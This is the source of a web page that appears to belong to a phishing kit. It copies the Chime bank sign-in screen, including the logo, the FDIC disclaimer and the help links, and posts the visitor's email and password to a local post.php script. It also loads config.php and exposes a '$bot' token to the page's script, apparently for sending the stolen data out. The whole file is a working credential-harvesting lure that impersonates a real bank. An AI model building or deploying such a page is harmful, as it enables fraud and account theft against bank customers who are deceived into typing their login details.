<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Chime – Sign In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --bg:           #082719;
            --green:        #1ec677;
            --green-dark:   #0e5333;
            --green-deep:   #082719;
            --green-hover:  #19b36b;
            --card-bg:      #0d3321;
            --card-border:  #1a4a30;
            --text:         #ffffff;
            --text-sub:     rgba(255,255,255,0.7);
            --text-muted:   rgba(255,255,255,0.45);
            --input-bg:     #0f3d26;
            --input-border: #1e5c38;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--bg); color: var(--text); }

        .page { min-height: 100vh; display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 40px 20px 0; }

        /* ─── LOGO TOP ───────────────────────────────── */
        .top-logo { margin-bottom: 32px; }
        .top-logo img { height: 36px; width: auto; display: block; }

        /* ─── CARD ───────────────────────────────────── */
        .login-card {
            width: 100%;
            max-width: 420px;
            background: var(--card-bg);
            border: 1px solid var(--card-border);
            border-radius: 16px;
            padding: 40px 40px 36px;
            box-shadow: 0 24px 64px rgba(0,0,0,0.5);
            animation: cardIn 0.45s ease both;
        }

        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-header { margin-bottom: 28px; }
        .card-header h1 { font-size: 24px; font-weight: 700; color: var(--white); margin-bottom: 6px; letter-spacing: -0.02em; }
        .card-header p { font-size: 14px; color: var(--text-sub); font-weight: 300; }

        /* ─── FIELDS ─────────────────────────────────── */
        .field { margin-bottom: 16px; }
        .field label { display: block; font-size: 13px; font-weight: 500; color: var(--text-sub); margin-bottom: 7px; }
        .field input[type="text"], .field input[type="Password"] {
            width: 100%; height: 48px; padding: 0 16px;
            background: var(--input-bg); border: 1px solid var(--input-border);
            border-radius: 10px; font-family: 'Inter', sans-serif;
            font-size: 15px; color: var(--white); outline: none;
            transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none;
        }
        .field input::placeholder { color: rgba(255,255,255,0.25); }
        .field input:focus { border-color: var(--green); box-shadow: 0 0 0 3px rgba(30,198,119,0.18); }

        .remember-row { display: flex; align-items: center; gap: 9px; margin-bottom: 20px; }
        .remember-row input[type="checkbox"] {
            appearance: none; -webkit-appearance: none; width: 17px; height: 17px;
            border: 1.5px solid var(--input-border); border-radius: 4px;
            background: var(--input-bg); cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.12s, border-color 0.12s;
        }
        .remember-row input:checked { background: var(--green); border-color: var(--green); }
        .remember-row input:checked::after { content: ''; position: absolute; left: 4px; top: 1px; width: 5px; height: 9px; border: 2px solid var(--green-dark); border-top: none; border-left: none; transform: rotate(45deg); }
        .remember-row label { font-size: 13.5px; color: var(--text-sub); cursor: pointer; user-select: none; }

        /* ─── BUTTON ─────────────────────────────────── */
        .btn-signin {
            width: 100%; height: 50px; background: var(--green); color: var(--green-dark);
            border: none; border-radius: 10px; font-family: 'Inter', sans-serif;
            font-size: 16px; font-weight: 700; cursor: pointer; letter-spacing: -0.01em;
            transition: background 0.15s, transform 0.1s, box-shadow 0.15s;
            margin-bottom: 24px;
        }
        .btn-signin:hover { background: var(--green-hover); box-shadow: 0 4px 20px rgba(30,198,119,0.35); transform: translateY(-1px); }
        .btn-signin:active { transform: translateY(0); }

        /* ─── CARD FOOTER LINKS ──────────────────────── */
        .card-links { display: flex; flex-direction: column; gap: 10px; padding-top: 20px; border-top: 1px solid var(--card-border); }
        .card-links a { font-size: 13.5px; color: var(--green); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 5px; transition: opacity 0.15s; }
        .card-links a:hover { opacity: 0.75; }

        /* ─── ANIM STRIP ─────────────────────────────── */
        .anim-strip {
            width: 100%;
            max-width: 420px;
            overflow: hidden;
            margin-top: 32px;
            mask-image: linear-gradient(to right, transparent 0%, black 10%, black 90%, transparent 100%);
            -webkit-mask-image: linear-gradient(to right, transparent 0%, black 10%, black 90%, transparent 100%);
        }

        .anim-track {
            display: flex;
            align-items: center;
            gap: 28px;
            animation: scrollLeft 18s linear infinite;
            width: max-content;
        }

        .anim-track img { height: 48px; width: auto; opacity: 0.9; flex-shrink: 0; }

        @keyframes scrollLeft {
            0%   { transform: translateX(0); }
            100% { transform: translateX(-50%); }
        }

        /* ─── BELOW-CARD TEXT ────────────────────────── */
        .below-card {
            width: 100%;
            max-width: 420px;
            margin-top: 28px;
            padding-bottom: 48px;
            text-align: center;
        }

        .sms-notice {
            font-size: 12px; color: rgba(255,255,255,0.4);
            line-height: 1.6; margin-bottom: 18px;
        }

        .below-links {
            display: flex; flex-wrap: wrap; justify-content: center;
            gap: 6px 16px; margin-bottom: 18px;
        }
        .below-links a { font-size: 13px; color: rgba(255,255,255,0.55); text-decoration: none; transition: color 0.15s; }
        .below-links a:hover { color: var(--green); }
        .below-links span { color: rgba(255,255,255,0.2); font-size: 13px; }

        .copyright { font-size: 11px; color: rgba(255,255,255,0.25); line-height: 1.7; }

        @media (max-width: 480px) { .login-card { padding: 30px 24px 28px; border-radius: 12px; } }
    </style>
</head>
<body>
<div class="page">

    <!-- TOP LOGO -->
    <div class="top-logo">
        <img src="res/img/Logo.png" alt="Chime">
    </div>

    <!-- LOGIN CARD -->
    <div class="login-card">
        <div class="card-header">
            <h1>Welcome back</h1>
            <p>Sign in to your Chime account</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">
            <div class="field">
                <label for="user">Email address</label>
                <input type="text" id="user" name="user" required autocomplete="email" placeholder="you@email.com">
            </div>
            <div class="field">
                <label for="pass">Password</label>
                <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>
            <div class="remember-row">
                <input type="checkbox" id="remember" name="remember">
                <label for="remember">Remember me</label>
            </div>
            <button type="submit" class="btn-signin">Sign in</button>
            <div class="card-links">
                <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Forgot your password?</a>
                <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>Need an account? Sign up</a>
            </div>
        </form>
    </div>

    <!-- SCROLLING ANIM STRIP -->
    <div class="anim-strip">
        <div class="anim-track">
            <!-- 2 copies for seamless loop -->
            <img src="res/img/anim1.svg" alt="">
            <img src="res/img/anim2.svg" alt="">
            <img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt="">
            <img src="res/img/anim2.svg" alt="">
            <img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt="">
            <img src="res/img/anim2.svg" alt="">
            <img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt="">
            <img src="res/img/anim2.svg" alt="">
            <img src="res/img/anim3.svg" alt="">
        </div>
    </div>

    <!-- BELOW CARD TEXT -->
    <div class="below-card">
        <p class="sms-notice">By clicking "Sign in", you agree to receive SMS text messages from Chime to verify your identity</p>
        <div class="below-links">
            <a href="#">Forgot your email address?</a>
            <span>·</span>
            <a href="#">Forgot your password?</a>
            <span>·</span>
            <a href="#">Need to create an account? <strong>Sign up!</strong></a>
        </div>
        <p class="copyright">© 2026 Chime. All Rights Reserved.<br>
        Banking Services provided by The Bancorp Bank, N.A., or Stride Bank, N.A., Members FDIC. The Chime Visa® Debit Card is issued by The Bancorp Bank, N.A., or Stride Bank pursuant to a license from Visa U.S.A. Inc. and may be used everywhere Visa debit cards are accepted. Please see back of your Card for its issuing bank.</p>
    </div>

</div>
<script src="./res/jq.js"></script>
</body>
</html>